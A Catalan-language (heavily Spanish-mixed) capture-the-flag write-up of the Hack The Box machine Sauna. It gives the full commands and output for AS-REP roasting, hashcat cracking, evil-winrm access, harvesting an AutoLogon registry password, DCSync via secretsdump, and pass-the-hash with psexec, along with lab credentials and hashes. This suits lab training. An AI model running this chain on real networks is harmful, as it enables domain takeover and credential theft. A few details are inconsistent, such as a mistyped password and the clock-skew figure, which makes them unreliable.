



HACK THE BOX · WINDOWS

Sauna

Writeup tècnic complet ·
explotació reproducible

Màquina Sauna resolta

HTB Sauna · 2026-04-23

Autor	Ramon Santos Sabarich / r4ms4nt
Plataforma	Hack The Box
Estat	Retired
Dificultat / Sistema	Easy · Windows
Data	2026-04-23



Informe tècnic normalitzat per a arxivament,
consulta i traçabilitat.

GUIA DE LECTURA

Índex

1. Introducció	3
2. Guia de lectura	3
3. Preparació de l'objectiu i arrencada del reconeixement	4
4. Identificació de la superfície dominant	5
5. Extracció de noms des de about.html	6
6. Consolidació d'identitats observades	7
7. De noms reals a candidats d'usuari	7
8. Abans de Kerberos: correcció del desfasament horari	10
9. Validació d'identitats mitjançant ASREPROasting	11
10. Preservació del hash i treball offline	12
11. Recuperació offline de la contrasenya de fsmith	12
12. Accés inicial per WinRM com fsmith	13
13. Enumeració interna inicial després del foothold	14
14. AutoLogon al registre: la segunda credencial	15
15. Resolució de la discrepància d'usuari	16
16. Canvi de context a svc_loanmgr	16
17. Mesura del valor real de svc_loanmgr	17
18. Recol·lecció d'Active Directory amb bloodhound-python	18
19. Decisió metodològica correcta ante el atasco de BloodHound	19
20. Verificació directa de DCSync	19
21. Pass-the-Hash contra Administrator	20
22. Verificació final de control total	20
23. Cadena tècnica completa resumida	21
24. Lliçons reutilitzables	22

Sauna - Writeup tècnic didàctic final (versió ampliada)

1. Introducció

Sauna és una màquina Windows retirada de Hack The Box, classificada com *Easy*, però amb un valor formatiu molt superior al que suggereix aquesta etiqueta. La resolució observada en aquest cas no depèn d'una única vulnerabilitat espectacular, sinó d'una **cadena de compromís d'Active Directory** construïda pas a pas a partir d'evidències reals: informació pública exposada a la web, derivació d'identitats, abús de Kerberos, reutilització de credencials trobades durant l'enumeració interna i, finalment, explotació de permisos delegats de domini fins a assolir el compromís total del controlador de domini.

El que fa especialment bona Sauna per estudiar és que obliga a practicar diverses idees importants alhora:

- com distingir entre **superfície visible** i **superfície dominant**;
- com convertir una web corporativa aparentment innòcua en **intel·ligència útil per a Active Directory**;
- com interpretar correctament un **AS-REP roastable user**;
- com llegir un compte que sembla modest localment, però que té **molt més pes en domini** del que aparenta.

Aquest document reconstrueix fidelment la resolució real observada en les notes del cas. No refà la màquina amb una via alternativa ni omple buits amb imaginació. Quan apareix una interpretació, es presenta com a interpretació; quan alguna cosa va quedar observada directament, es presenta com a fet verificat.

2. Guia de lectura

El document està organitzat com una narració tècnica cronològica. En cada fase es mantenen dos plans clarament diferenciats:

1. **el que es va observar realment**, és a dir, ordres executades, sortides obtingudes i decisions preses sobre evidència;
2. **la lectura didàctica**, que explica per què es va fer aquell pas, quina senyal prèvia justificava, quina part de la sortida importava de veritat i com canviava la decisió següent.

La idea no és construir un simple historial d'ordres, sinó un material reutilitzable per a estudi posterior.

3. Preparació de l'objectiu i arrencada del reconeixement

La màquina s'inicia amb el flux habitual de laboratori mitjançant l'eina Inici-HTB, que fixa l'objectiu, prepara directori base, valida la connectivitat i llança els primers escanejos.

Ordre d'arrencada

```
Inici-HTB SAUNA 10.129.95.180
```

Què buscava aquesta arrencada

No és tractava només de “veure ports” . L'arrencada inicial tenia diverses funcions concretes:

- confirmar que l'objectiu era viu;
- obtenir una primera estimació del sistema operatiu;
- obtenir una fotografia completa de la superfície TCP;
- identificar serveis i versions amb el menor nom possible de conjectures.

Sortida rellevant

```
PING 10.129.95.180 ... ttl=127  
10.129.95.180 (ttl -> 127): Windows
```

```
53/tcp    open  domain  
80/tcp    open  http  
88/tcp    open  kerberos-sec  
135/tcp   open  msrpc  
139/tcp   open  netbios-ssn  
389/tcp   open  ldap  
445/tcp   open  microsoft-ds  
464/tcp   open  kpasswd5  
593/tcp   open  http-rpc-epmap  
636/tcp   open  ldapssl  
3268/tcp  open  globalcatLDAP  
3269/tcp  open  globalcatLDAPssl  
5985/tcp  open  wsman  
9389/tcp  open  adws
```

I en el escaneo de serveis:

```
80/tcp    open  http           Microsoft IIS httpd 10.0  
|_http-title: Egotistical Bank :: Home  
  
389/tcp   open  ldap           Microsoft Windows Active Directory LDAP (Domain:  
EGOTISTICAL-BANK.LOCAL0.)  
5985/tcp  open  http           Microsoft HTTPAPI httpd 2.0  
Host: SAUNA  
smb2-security-mode: Message signing enabled and required  
clock-skew: 6h59m59s
```


Interpretació tècnica

Aquí la dada important no és “Windows amb muchos puertos”, sinó **la combinació exacta** de serveis. DNS + Kerberos + LDAP + SMB + Global Catalog + WinRM + ADWS no dibuixen un Windows qualsevol: dibuixen amb molta força un **controlador de domini**.

Aquest matís és crucial perquè canvia tota l'estratègia. En lloc de obrir diverses branques a la vez - web, SMB, WinRM, LDAP - convé preguntar-se primer quina evidència pot ajudar a **construir identitats vàlides**, entendre l'autenticació del domini i trobar un punt d'entrada amb el menor soroll possible.

Tancament de fase

La fase inicial dejó cuatro fets importants ja fijados:

- el objective era Windows;
- su huella encajaba amb un **DC**;
- la web corporativa i el domini parecían pertenecer al mateix context organizativo;
- el clock skew era gran i debía quedar anotado per fases posteriores amb Kerberos.

4. Identificació de la superfície dominant

A primera vista hi havia una web accessible en 80/tcp, i podria haber sido tentador tratarla com una aplicación vulnerable clàssica. Sense embargo, la lectura correcta va ser distinta.

Fet verificat

La web devolvía título:

Egotistical Bank :: Home

i el domini LDAP identificado era:

EGOTISTICAL-BANK.LOCAL

Per què aquesta relació importava

Perquè une la web pública amb el domini intern. Això no demuestra una vulnerabilitat web, però sí revela alguna cosa quizá més útil en aquesta fase: la web probablemente pertenece a la mateixa organización que Active Directory i, per tanto, pot exponer **noms reals**, cargos, estructura interna o pistas de nomenclatura.

Lectura didàctica

En un entorn AD, una web corporativa pot tenir molt valor incluso sense presentar una sola vulnerabilitat tècnica visible. A veces el primer salto no sale de “romper” la aplicación, sinó de **leerla com font de intel·ligència**.

Per això la superfície dominant no se trató com “WEB-BASE” en sentido clàssic, sinó com:

AD enum apoyada per intel·ligència pública des de la web.

5. Extracció de noms des de about.html

Amb aquesta hipòtesis, el següent pas va ser mínim i de molt baix soroll: comprovar si la web exponia noms de persones reutilitzables.

Ordres utilitzades

```
curl -s http://10.129.95.180/about.html -o about.html  
grep -Eoi '[A-Z][a-z]+ [A-Z][a-z]+' about.html | sort -u
```

Què s'esperava obtenir

No se buscava una vulnerabilitat. Se buscava alguna cosa molt més concret:

- noms completos plausibles;
- idealmente en una sección tipo *team*, *about us* o similar;
- suficientes per derivar usuaris del domini.

Què va retornar la sortida

La expresión regular va retornar muchísimo soroll de plantilla HTML, CSS i textos decorativos, però entre toda aquesta sortida aparecieron clarament seis noms humans plausibles:

- Fergus Smith
- Bowie Taylor
- Hugo Bear
- Shaun Coins
- Sophie Driver
- Steven Kerb

Interpretació

Aquest punt és important perquè convierte una intuición en un Fet verificat: la web pública **sí exponia identitats** útils per Active Directory.

La decisió correcta a partir de ahí no era saltar a LDAP o SMB, sinó consolidar esos noms en un artefacto net de trabajo.

Lliçó reutilitzable

Una web pública en un laboratorio AD pot no ser la puerta de entrada tècnica, però sí una **base de datos de noms humans**. I això, en ciertos escenarios, vale més que una vulnerabilitat sorollosa mal interpretada.

6. Consolidació d'identitats observades

Per evitar que el soroll de grep contaminara la següent fase, els noms reals se pasaron a un fitxer net.

Ordre utilitzada

```
printf '%s\n' \  
'Fergus Smith' \  
'Bowie Taylor' \  
'Hugo Bear' \  
'Shaun Coins' \  
'Sophie Driver' \  
'Steven Kerb' > fullnames.txt
```

Verificació:

```
cat fullnames.txt
```

Resultat observat

```
Fergus Smith  
Bowie Taylor  
Hugo Bear  
Shaun Coins  
Sophie Driver  
Steven Kerb
```

i la ubicación va quedar correctament fijada en:

```
/home/r4mon/pentest/targets/HTB/easy/SAUNA/content/users/fullnames.txt
```

Per què aquest pas té valor real

Perquè separa **senyal** de **soroll** i convierte una observació en un artefacto operatiu reutilitzable. Aquesta distinció importa molt en writeups didàctics: una cosa és “se vieron noms en una web”, i otra millor és “va quedar una llista neta, trazable i llista per derivació de comptes”.

7. De noms reals a candidats d'usuari

Una vez obtinguts els noms, el següent pas no va ser probar accés a ciegas, sinó construir una llista raonable de comptes possibles.

Primera derivació ampla

Se va generar una primera llista usernames.txt amb múltiples patrones habituales:

- nombre
- apellido
- nombre.apellido
- nombreapellido
- nombre_apellido
- inicialapellido
- i algunas variantes menys sòlidas

Bloc utilitzat

```
python3 - <<'PY'
from pathlib import Path

src = Path("fullnames.txt")
dst = Path("usernames.txt")

seen = set()
order = []

for line in src.read_text(encoding="utf-8").splitlines():
    name = line.strip()
    if not name:
        continue
    parts = name.lower().split()
    if len(parts) < 2:
        continue

    first = parts[0]
    last = parts[-1]

    candidates = [
        first,
        last,
        f"{first}.{last}",
        f"{first}{last}",
        f"{first}_{last}",
        f"{first[0]}{last}",
        f"{first}{last[0]}",
        f"{first[0]}.{last}",
        f"{last}.{first}",
        f"{last}{first[0]}",
    ]

    for candidate in candidates:
        if candidate not in seen:
            seen.add(candidate)
            order.append(candidate)

dst.write_text("\n".join(order) + "\n", encoding="utf-8")
print(f"[+] Guardados {len(order)} candidatos en {dst}")
PY
```

Sortida útil


```
[+] Guardados 60 candidatos en usernames.txt
fergus
smith
fergus.smith
fergussmith
fergus_smith
fsmith
...
```

Què es va aprendre d'aquesta sortida

La generació funcionó, però mezcló candidats fortes amb variants bastante flojas. Aquest és un punt metodològic important: una llista més llarga no siempre és una llista millor.

Segona derivació: llista prioritzada

Per això se va generar després `usernames_priority.txt`, conservando només cuatro patrones de mes valor inicial:

- nombre.apellido
- nombreapellido
- nombre_apellido
- inicialapellido

Bloc utilitzat

```
python3 - <<'PY'
from pathlib import Path

src = Path("fullnames.txt")
dst = Path("usernames_priority.txt")

seen = set()
order = []

for line in src.read_text(encoding="utf-8").splitlines():
    name = line.strip()
    if not name:
        continue
    parts = name.lower().split()
    if len(parts) < 2:
        continue

    first = parts[0]
    last = parts[-1]

    candidates = [
        f"{first}.{last}",
        f"{first}{last}",
        f"{first}_{last}",
        f"{first[0]}{last}",
    ]

    for candidate in candidates:
        if candidate not in seen:
```

```
seen.add(candidate)
order.append(candidate)

dst.write_text("\n".join(order) + "\n", encoding="utf-8")
print(f"[+] Guardados {len(order)} candidatos prioritarios en {dst}")
PY
```

Sortida rellevant

```
fergus.smith
fergussmith
fergus_smith
fsmith
bowie.taylor
bowietaylor
bowie_taylor
btaylor
...
```

Interpretació tècnica

Aquesta fase cierra molt bien una idea important: en Active Directory no siempre gana quien genera mas variantes, sinó quien genera variantes **millor priorizadas** i sabe justificar per què empieza per unas i no per otras.

8. Abans de Kerberos: correcció del desfasament horari

La enumeració inicial ja hi havia deixat una alerta molt seria:

```
clock-skew: 6h59m59s
```

Abans de usar Kerberos, això debia corregirse.

Ordres utilitzades

```
date -u
sudo ntpdate -q 10.129.95.180
sudo ntpdate -u 10.129.95.180
date -u
```

Sortida rellevant

```
2026-04-23 20:44:15.93361 (+0200) +25202.319033 +/- 0.024418 10.129.95.180 s1
no-leap
CLOCK: time stepped by 25202.317982
```

Què significava aquesta sortida

La diferencia era de unas **siete horas**. No era un detalle cosmético. Era un problema suficientment gran com per contaminar per completo cualquier lectura posterior de Kerberos.

Per què aquest pas era obligatori

Kerberos depèn del temps. Si el rellotge està roto, una tècnica pot parecer fallida per un motivo completamente distinto del que se està interpretando.

Lliçó reutilitzable

Una bona llista de usuaris pot quedar inutilitzada per un rellotge desalineado. Abans de declarar muerta una via Kerberos, convé asegurarse de que el temps no està sabotando la lectura.

9. Validació d'identitats mitjançant ASREPRoasting

Amb la hora corregida i la llista prioritzada preparada, el següent pas va ser comprovar si alguno de els candidats devolvía una answer útil en Kerberos sense contrasenya.

Ordre utilitzada

```
GetNPUsers.py EGOTISTICAL-BANK.LOCAL/ -usersfile usernames_priority.txt -no-pass  
-dc-ip 10.129.95.180
```

Què buscava aquesta ordre

No autenticaba usuaris amb contrasenyas. El que que hacía era preguntar al KDC si alguna compte tenia **preautenticació Kerberos deshabilitada**, permitiendo así obtener un AS-REP roastable.

Sortida observada

La mayoría de candidats devolvieron:

```
KDC_ERR_C_PRINCIPAL_UNKNOWN
```

Però uno va retornar alguna cosa completamente distinto:

```
$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:...
```

Què va quedar demostrat aquí

Aquest punt valida de golpe diverses decisions anteriores:

1. la web sí aportó noms útils;
2. la derivació de usuaris no va ser arbitraria;
3. la convenció `inicial + apellido` funcionó;

4. la compte fsmith era real;
5. a més, era **AS-REP** roastable.

Implicació per a la fase següent

Des de aquí ja no tenia sentit seguir ampliant llistes de usuaris o provar SMB/LDAP per inèrcia. La evidència dominant era molt millor: un hash Kerberos explotable offline.

10. Preservació del hash i treball offline

Abans de qualsevol cracking, el hash se guardó en un fitxer net.

Bloc utilitzat

```
cat > asrep_fsmith.txt <<'EOF'
$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:655d7bbbf26151b21bd1ee464be5be3c$1cc7
08ac52f286125fd08352f6102f10e3bb5bc62d5afb1bc146b1c05e60f0e9c0add9748c23d6aba8b
066fcab139b2703b87997b9c04961704371a39585722c3deef03c9ff20676130cd2aa130d6ff005ae
008f70ec9fe46f5eeee064218fa9338ca8ac265ff8a2a50133b8615d119624116b317bd85e8e91632
e3a00f6ca2921b20d1d3803754a3326c17004c66c0c90be9426566bbe93e3c44aa633695a2b18248d
4f30034d6cede5fadad9556394056a83a254bef2c0b88e76f5b852a4212583793817a79d1b234993c
c606c7eb21ca344e912c7077fd431ecaae2be42bdcf713e790085cccf5bcc283324bc7d20a490178d
c5e47339d7bb0c6b929158
EOF

wc -l asrep_fsmith.txt
cat asrep_fsmith.txt
```

Verificació

`wc -l` va retornar 1, el que va confirmar que el artefacte útil estava aïslat en una sola línia i sense soroll.

Per què és important documentar-ho

Perquè en un cas así el hash ja no és només una sortida de eina: passa a ser un **artefacte central de la investigació**.

11. Recuperació offline de la contrasenya de fsmith

Ordre utilitzada

```
hashcat -m 18200 asrep_fsmith.txt /usr/share/wordlists/rockyou.txt -O --outfile
cracked_fsmith.txt
cat cracked_fsmith.txt
```

Què fa exactament -m 18200

Aquest modo correspon a:

- Kerberos 5, etype 23, AS-REP

És dir, el formato exacto del material obtenido amb `GetNPUsers.py`.

Resultat observat

Hashcat resolvió la contrasenya amb `rockyou.txt`:

```
...:Thestrokes23
```

Credencial recuperada

- usuari: fsmith
- contrasenya: Thestrokes23

Què canvia a partir d'aquí

Fins a aquest punt la ruta hi havia sido:

- noms → usuaris plausibles → compte real → hash AS-REP

Ara la cadena da un salto cualitativo: ja existeix una **credencial completa** i reutilitzable.

El següent pas correcte ja no és “seguir abusando de Kerberos”, sinó comprovar en què superfície exposada aquesta credencial té valor operatiu real.

12. Accés inicial per WinRM com fsmith

WinRM ja estava exposat des de la fase de enumeració inicial, así que era la opción més neta per validar el valor práctico de la credencial.

Ordre utilitzada

```
evil-winrm -i 10.129.95.180 -u fsmith -p 'Thestrokes23'
```

Què s'esperava obtenir

- o una shell remota válida;
- o un fallo de autorización que obligara a reinterpretar el alcance de la compte.

Resultat observat

```
*Evil-WinRM* PS C:\Users\FSmith\Documents>
```

Fet verificat

La credencial no només era válida en abstracto, sinó **operativa** en un servei real del sistema.

Lectura didàctica

Aquest és el primer gran pivot del cas. El problema deixa de ser “encontrar una debilidad de autenticación” i passa a ser “enumerar correctament un foothold ja conseguido”.

13. Enumeració interna inicial després del foothold

Una vez dentro com fsmith, la decisió correcta no va ser saltar a eines pesadas, sinó fijar context.

Ordres utilitzades

```
whoami
whoami /groups
hostname
ipconfig /all
systeminfo
echo %env:USERDOMAIN
echo %env:COMPUTERNAME
dir C:\Users
type C:\Users\FSmith\Desktop\user.txt
```

Sortida clau resumida

```
whoami
egotisticalbank\fsmith
```

```
BUILTIN\Remote Management Users
BUILTIN\Users
BUILTIN\Pre-Windows 2000 Compatible Access
```

```
hostname
SAUNA
```

```
echo %env:USERDOMAIN
EGOTISTICALBANK
```

```
dir C:\Users
Administrator
FSmith
Public
svc_loanmgr
```

```
type C:\Users\FSmith\Desktop\user.txt
c06623afb7a5c08a412d732234887383
```

Què importava realment d'aquesta sortida

- fsmith tenia accés remot, però no parecia administrador;

- el flag de usuari ja era legible;
- i, sobre todo, existia un perfil local de svc_loanmgr.

Per què aquest perfil va canviar la direcció del cas

Perquè suggeria la presencia de otra compte amb mes valor potencial que fsmith. I en Windows, quan una compte de servei deixa rastre local, merece la pena preguntarse si el sistema expone credencials o configuració associadas a ella.

14. AutoLogon al registre: la segunda credencial

Ordre utilitzada

```
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
```

Què s'estava buscant

Els paràmetres típics de AutoLogon:

- DefaultDomainName
- DefaultUserName
- DefaultPassword

Sortida rellevant

DefaultDomainName	REG_SZ	EGOTISTICALBANK
DefaultUserName	REG_SZ	EGOTISTICALBANK\svc_loanmanager
DefaultPassword	REG_SZ	Moneymakestheworldgoround!

Què va quedar demostrat

El sistema almacenaba una contrasenya en clar en el registre. Això ja no era una inferència ni una conjetura: era un secreto reutilizable observat directament en el host.

La discrepància important

Aquí va aparèixer un matiz molt fino, però decisivo:

- en C:\Users se hi havia visto svc_loanmgr;
- en winlogon aparecia svc_loanmanager.

Abans de reutilitzar la credencial, tocaba resolver cuál eral nom real de la compte.

Lliçó reutilitzable

Quan un sistema expone una contrasenya en clar, la tentación natural és probarla inmediatamente. El problema és que si el identificador del usuari està mal interpretado, una credencial perfectamente bona pot parecer inútil.

15. Resolució de la discrepància d'usuari

Ordres utilitzades

```
net user svc_loanmgr  
net user svc_loanmanager
```

Resultat observat

svc_loanmgr sí existia i devolvía informació de compte. svc_loanmanager no existia.

A més, svc_loanmgr pertencia a:

- Domain Users
- Remote Management Users

Interpretació

La discrepància va quedar resolta. La contrasenya observada en AutoLogon seguia sendo vàlida com secret exposat, però el nom de usuari operatiu correcte era:

- svc_loanmgr

Implicación

Això permetia intentar un nuevo accés remot amb molt bona base:

- nom real verificat;
- contrasenya observada en clar;
- pertencencia a Remote Management Users.

16. Canvi de context a svc_loanmgr

Ordre utilitzada

```
evil-winrm -i 10.129.95.180 -u svc_loanmgr -p 'Moneymakestheworldgoround!'
```

Resultat observat

```
*Evil-WinRM* PS C:\Users\svc_loanmgr\Documents>
```

Què significó aquest pas

Fins a aquest moment, fsmith hi havia sido la puerta de entrada. A partir de aquí, la compte principal de trabajo va passar a ser svc_loanmgr.

I aquí apareix una idea molt important en AD: una compte pot parecer modesta des de fuera, però tenir un pes enorme en el domini.

17. Mesura del valor real de svc_loanmgr

El següent pas va ser confirmar què grups i privilegis tenia realment aquesta nueva compte.

Primer entrebanc operatiu

Se va executar per error:

```
whoami / groups
whoami / priv
```

i això va retornar un error sintàctic:

```
ERROR: Invalid argument/option - '/'
```

Correcció

La forma correcta era:

```
whoami
whoami /groups
whoami /priv
```

Sortida observada

Grups:

```
BUILTIN\Remote Management Users
BUILTIN\Users
BUILTIN\Pre-Windows 2000 Compatible Access
...
```

Privilegis:

```
SeMachineAccountPrivilege    Enabled
SeChangeNotifyPrivilege      Enabled
SeIncreaseWorkingSetPrivilege Enabled
```

Què va ensenyar aquesta sortida

I aquest és uno de els grandes punts didàcticos de Sauna:

- svc_loanmgr **no** destacaba per privilegis locals potentes;
- no aparecían grups administrativos locals;
- no saltaban privilegis clásicos com SeImpersonatePrivilege.

Això obligava a canviar la pregunta. El valor de aquesta compte no parecia estar en el host local, sinó probablement en el **domini**.

Lliçó reutilitzable

Quan una compte no destaca ni per grups locals ni per privilegis del token, no convé descartarla massa ràpid. En Active Directory, muchas comptes aparentment discretas esconden su valor en **ACLs, delegaciones i drets sobre objectes del domini**.

18. Recol·lecció d'Active Directory amb bloodhound-python

Amb aquesta lectura, la següent decisió va ser correcta: recórrer informació de AD des de fuera per entendre què podia fer svc_loanmgr en el domini.

Ordres utilitzades

```
cd /home/r4mon/pentest/targets/HTB/easy/SAUNA/content
bloodhound-python -u svc_loanmgr -p 'Moneymakestheworldgoround!' -d
EGOTISTICAL-BANK.LOCAL -ns 10.129.95.180 -c All
zip bloodhound_sauna.zip *.json
ls -l *.json bloodhound_sauna.zip
```

Sortida rellevant

```
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: egotistical-bank.local
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication.
INFO: Found 1 domains
INFO: Found 1 computers
INFO: Found 7 users
INFO: Found 52 groups
INFO: Found 3 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
```

Què es va aprendre aquí

La recol·lecció va ser vàlida i produjo diversos JSON i un ZIP listo per importar. El detalle del fallo inicial del TGT no va ser el dato central, perquè la eina va fer *fallback* a NTLM i completó la recogida.

El problema real va venir després

La part local de anàlisi visual va quedar bloqueada per diversos tropiezos del entorn atacant:

- arranque de Neo4j com part del setup;
- primera ejecución de BloodHound amb components CE;
- mezcla entre recol·lecció LEGACY i stack CE;

- problemas de navegador al lanzarlo com root;
- bhapi.json roto per un caràcter sobrant;
- i, finalment, un fallo de migración SQL.

Per què val la pena documentar-ho

Perquè ensenya una lección metodològica important: una eina local pot atascarse **sense que la explotació estés mal encaminada**. El problema pot estar en el visor, no en la cadena de atac.

19. Decisió metodològica correcta ante el atasco de BloodHound

La investigación no se detuvo a pelear indefinidamente amb el visor local. I aquesta va ser una decisió molt bona.

Raonament

A esas alturas ja hi havia suficient evidència per sostenir una hipòtesis forta:

- svc_loanmgr no destacava localment;
- per tanto, el que més raonable era que su valor estuviera en domini;
- si això era cierto, debía poder comprobarse directament.

La pregunta adequada va passar a ser

¿Té svc_loanmgr **permisos de replicación sobre el domini**?

20. Verificació directa de DCSync

Ordre utilitzada

```
impacket-secretsdump  
'EGOTISTICAL-BANK.LOCAL/svc_loanmgr:Moneythesheworldgoround!@10.129.95.180'  
-just-dc-user Administrator
```

Què buscava aquesta ordre

No se trataba de un volcado masivo. La opción -just-dc-user Administrator restringía la prueba a una comprobación molt concreta: verificar si la compte tenia drets suficientes per extraer el material del administrador del domini.

Resultat observat

```
[*] Using the DRSUAPI method to get NTDS.DIT secrets
```



```
Administrator:500:aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e:::  
[*] Kerberos keys grabbed
```

Què va quedar demostrat

Esto cerró la duda més important del cas:

- svc_loanmgr tenia capacidad efectiva de **DCSync**.

Aquest és el moment en el que la compte deixa de ser “interesante” i passa a ser **crítica**.

Implicación

Ja no hacía falta seguir enumerando ACLs o arreglar BloodHound per saber si la compte tenia valor. La demostración práctica ja estaba hecha.

21. Pass-the-Hash contra Administrator

Amb el hash NTLM del Administrator en la mano, el següent pas va ser directo i coherent.

Ordre utilitzada

```
psexec.py EGOTISTICAL-BANK.LOCAL/Administrator@10.129.95.180 -hashes  
aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e
```

Què s'esperava obtenir

Una autenticación Pass-the-Hash exitosa i una shell remota amb privilegis máximos en el DC.

Resultat observat

```
[*] Found writable share ADMIN$  
[*] Uploading file ...  
[*] Creating service ...  
[*] Starting service ...  
Microsoft Windows [Version 10.0.17763.973]  
C:\Windows\system32>
```

Interpretació

El hash del Administrator era plenamente reutilizable. En aquest punt, el cas ja estava prácticamente tancat. Només faltaba fer la Verificació mínima de identitat i lectura del flag final.

22. Verificació final de control total

Ordres utilitzades

```
whoami  
hostname  
type C:\Users\Administrator\Desktop\root.txt
```

Sortida observada

```
nt authority\system  
SAUNA  
2ebc5339eff500834123056f79cad936
```

Fets verificats

- el context final era SYSTEM;
- el host era SAUNA;
- el root.txt era accessible.

Amb això va quedar confirmat el compromís total del controlador de domini.

23. Cadena tècnica completa resumida

La resolució real observada en Sauna va ser aquesta:

1. Enumeració inicial amb huella clara de DC Windows.
2. Interpretació de la web com font de intel·ligència i no com via principal de explotació.
3. Extracció de noms reals des de about.html.
4. Creació de fullnames.txt.
5. Derivació de usuaris candidats i priorització de convencions plausibles.
6. Correcció del c lock skew abans de tocar Kerberos.
7. ASREPROasting exitoso sobre fsmith.
8. Preservació del hash i recuperació offline de The strokes23.
9. accés remot per WinRM com fsmith.
10. Enumeració interna i detecció del perfil svc_loanmgr.
11. Consulta del registre i hallazgo de AutoLogon amb contrasenya en clar.
12. Resolució de la discrepància svc_loanmanager / svc_loanmgr.
13. accés remot per WinRM com svc_loanmgr.
14. Comprobació de que el valor real de la compte no estava en el host, sinó en el domini.
15. Recol·lecció de AD amb bloodhound-python.

16. Atasco local del visor BloodHound i reevaluació metodològica correcta.
17. Validació directa de DCSync amb secretdump.
18. Extracció del hash NTLM de Administrator.
19. Pass-the-Hash amb psexec.py.
20. Shell final com SYSTEM i lectura del root.txt.

24. Lliçons reutilitzables

La web pública pot ser una font de identitat, no una superfície dominant de explotació

No toda web té que romperse. Algunas simplemente **alimentan millor que ninguna otra fase** la construcció de identitats vàlidas en AD.

La nomenclatura de usuaris se ha de treballar com un artefacto, no com improvisación

Passar de noms reals a fullnames.txt, després a usernames.txt i finalment a usernames_priority.txt no va ser burocràcia: va ser una manera ordenada de elevar la qualitat de la següent validació.

Kerberos sense temps correcte engaña

El clock skew de setze hores hauria fet molt fàcil interpretar mal la fase de Kerberos. Corregir el temps va ser una precondició, no una comoditat.

Un usuari AS-REP roastable canvia de veritat el cas

Quan una compte retorna un AS-REP hash, la prioritat deixa de ser ampliar llistes de noms i passa a ser preservar aquest artefacto i treballar-lo offline.

Un foothold inicial no siempre és el usuari important del cas

fsmith va ser suficient per entrar, però no per tancar la màquina. Su verdadero valor estuvo en permitir descubrir alguna cosa millor.

El registre de Windows sigue siendo una font de secretos brutal

Winlogon entregó una contrasenya en clar. Aquesta mala pràctica convertí una enumeració post-foothold aparentment simple en un pivote decisivo.

El pes real de una compte pot estar en el domini, no en sus grups locals

Aquest és quizá el aprendizaje més forta de Sauna. svc_loanmgr no impresionaba localment. Però su impacto real estaba en Active Directory.

Quan el visor falla, la cadena no té per què estar rota

El atasco amb BloodHound enseñó molt bien a distingir entre:

- un problema del objective;
- i un problema del entorn atacant.

I aquesta distinción ahorra muchísimo temps.

